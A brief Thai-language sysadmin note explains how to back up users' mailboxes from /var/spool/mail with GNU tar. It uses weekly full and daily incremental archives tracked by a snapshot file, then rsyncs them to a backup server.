    1. การทำ Full Backup : ให้ระบบเข้าไป Backup ข้อมูลใน Mailbox ของผู้ใช้ เป็นรายคน (เช่น username.s) จาก directory /var/spool/mail/ ทุกวันอาทิตย์ เวลา 00:01 โดยเก็บไฟล์ไว้ที่ /path/to/backupfile ด้วยคำสั่ง

    tar -zcf  /path/to/backupfile/username.s-f-20130414.tar.gz -g  /path/to/backupfile/username.s-20130414.snar   /var/spool/mail/username^s/

    2. การทำ Incremental Backup: ทำคล้ายกับ Full Backup แต่ใช้คำสั่งต่อไปนี้ ทุกวันจันทร์ ถึงเสาร์ เวลา 03:01

    tar -zcf  /path/to/backupfile/username.s-i-20130415.tar.gz -g  /path/to/backupfile/username.s-20130414.snar   /var/spool/mail/username^s/

    3. เมื่อทำครบทุก mailbox จึงทำการ Rsync ไปเก็บไว้ใน Backup Server ต่อไป

     

    Reference

    [1] https://help.ubuntu.com/community/BackupYourSystem

    [2] http://www.gnu.org/software/tar/manual/html_chapter/Backups.html

    [3] http://www.tuxradar.com/content/quick-guide-backups-using-tar